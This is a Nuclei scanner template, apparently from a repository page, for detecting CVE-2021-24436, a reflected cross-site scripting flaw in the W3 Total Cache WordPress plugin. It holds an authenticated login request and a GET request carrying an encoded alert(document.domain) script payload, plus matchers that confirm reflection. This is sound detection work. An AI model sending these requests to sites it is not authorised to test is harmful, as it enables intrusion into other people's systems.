53 lines
2.3 KiB
YAML
53 lines
2.3 KiB
YAML
id: CVE-2021-24436
|
|
|
|
info:
|
|
name: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting
|
|
author: theamanrawat
|
|
severity: medium
|
|
description: |
|
|
WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
|
|
remediation: Fixed in version 2.1.4.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
|
|
- https://wordpress.org/plugins/w3-total-cache/
|
|
- https://wpscan.com/vulnerability/05988ebb-7378-4a3a-9d2d-30f8f58fe9ef
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24436
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24436
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.4009
|
|
cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: boldgrid
|
|
product: w3_total_cache
|
|
framework: wordpress
|
|
tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code_2 == 200
|
|
- contains(body_2, '><script>alert(document.domain)</script>&action=view')
|
|
- contains(header_2, "text/html")
|
|
condition: and
|
|
# digest: 490a0046304402201ef6e350c911751d8d5e81ed50cb77824d6c9a7d2c0f9d5ea8e46a0be6ed7eb60220354d8aed65ef0a2257c2b945941807aa31ab5378f1612ae21f59f25020ef5de6:922c64590222798bb761d5b6d8e72950 |